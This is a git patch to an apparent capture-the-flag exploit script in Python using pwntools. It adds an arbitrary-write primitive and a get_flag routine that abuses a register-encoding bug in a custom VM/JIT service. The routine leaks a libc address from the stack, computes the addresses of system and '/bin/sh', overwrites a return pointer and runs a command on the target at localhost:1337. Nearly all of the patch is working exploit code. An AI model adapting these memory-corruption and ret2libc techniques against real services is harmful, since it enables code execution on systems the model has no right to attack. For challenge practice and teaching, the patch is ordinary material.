From a90702d68f13907131e30a2f18f371528b5081d3 Mon Sep 17 00:00:00 2001 From: cato447 Date: Tue, 16 Jan 2024 23:18:20 +0100 Subject: [PATCH] implemented second exploit phase --- .gitignore | 1 + exploit/exploit.py | 57 +++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 55 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 0daf164..2fe00d5 100644 --- a/.gitignore +++ b/.gitignore @@ -58,6 +58,7 @@ build /.idea /.vscode +/.cache debug_docker/**/* !/debug_docker/Dockerfile diff --git a/exploit/exploit.py b/exploit/exploit.py index 85a1f1f..49adfd6 100755 --- a/exploit/exploit.py +++ b/exploit/exploit.py @@ -75,9 +75,15 @@ def arbitrary_read(dst: Register, src: Register): assert (dst.has_highest_bit_set() and not src.has_highest_bit_set()) # use bug to overflow into RM byte, so that it encodes register indirect addressing without offset # 0b11000000 + (register_id[dst] << 3) = 0b00XXX000 - # src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register byte + # src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register bits return instr_r(Opcode.ADD, dst, src) +def arbitrary_write(dst: Register, src: Register): + assert (src.has_highest_bit_set() and not dst.has_highest_bit_set()) + # use bug to overflow into RM byte, so that it encodes register indirect addressing without offset + # 0b11000000 + (register_id[src] << 3) = 0b00XXX000 + # dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits + return instr_r(Opcode.COPY, dst, src) def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote: p = remote("localhost", 1337, fam="ipv4") @@ -151,11 +157,56 @@ def extract_premium_key(): p.close() return premium_key +def get_flag(p: pwnlib.tubes.remote.remote): + libc_base_offset = 0x23d0a + libc_system_offset = 0x45e50 + libc_bin_sh_offset = 0x195152 + rsp_libc_start_main_offset = 0x80 + # mov r8, rsp + program = load_rsp(Register.G) + # mov rcx, r8 (use Register.A in the commad because highest bit of register_id[r8] gets overflown) + program += instr_r(Opcode.ADD, Register.A, Register.G) + # add rcx, rsp_libc_start_main_offset + program += instr_i(Opcode.ADDI, Register.C, rsp_libc_start_main_offset) + # add r9, [rcx] + program += arbitrary_read(Register.H, Register.C) + # mov rbx, libc_base_offset + program += instr_i(Opcode.LOADI, Register.B, libc_base_offset) + # add rdx, r9 (use Register.C in the commad because highest bit of register_id[r9] gets overflown) + program += instr_r(Opcode.ADD, Register.C, Register.H) + # sub rdx, rbx + program += instr_r(Opcode.SUB, Register.D, Register.B) + # mov rbx, libc_system_offset + program += instr_i(Opcode.LOADI, Register.B, libc_system_offset) + # add rbx, rdx + program += instr_r(Opcode.ADD, Register.B, Register.D) + # mov rdi, libc_bin_sh_offset + program += instr_i(Opcode.LOADI, Register.F, libc_bin_sh_offset) + # add rdi, rdx + program += instr_r(Opcode.ADD, Register.F, Register.D) + # mov r10, rbx (use Register.D in the commad because highest bit of register_id[r10] gets overflown) + program += instr_r(Opcode.COPY, Register.I, Register.D) + # mov rcx, 0 + program += instr_i(Opcode.LOADI, Register.C, 0) + # add rcx, r8 (use Register.A in the commad because highest bit of register_id[r8] gets overflown) + program += instr_r(Opcode.ADD, Register.A, Register.G) + # mov [rcx], r10 + program += arbitrary_write(Register.C, Register.I) + + log.info(p.recvuntil(b"should it bee?").decode()) + len_msg = str(len(program) // INSTR_LEN) + log.info(f"Sending: {len_msg}") + p.sendline(len_msg.encode()) + log.info(p.recvuntil(b"Now your program:").decode()) + log.info(f"Sending program: {str(program)}") + p.send(program) + p.sendline(b"/bin/get_flag") + print(p.recvregex(b'flag_[0-9a-f]{32}').decode()) + context.log_level = 'warn' premium_key = extract_premium_key() p = connect(premium_key, True) - -p.interactive() +get_flag(p)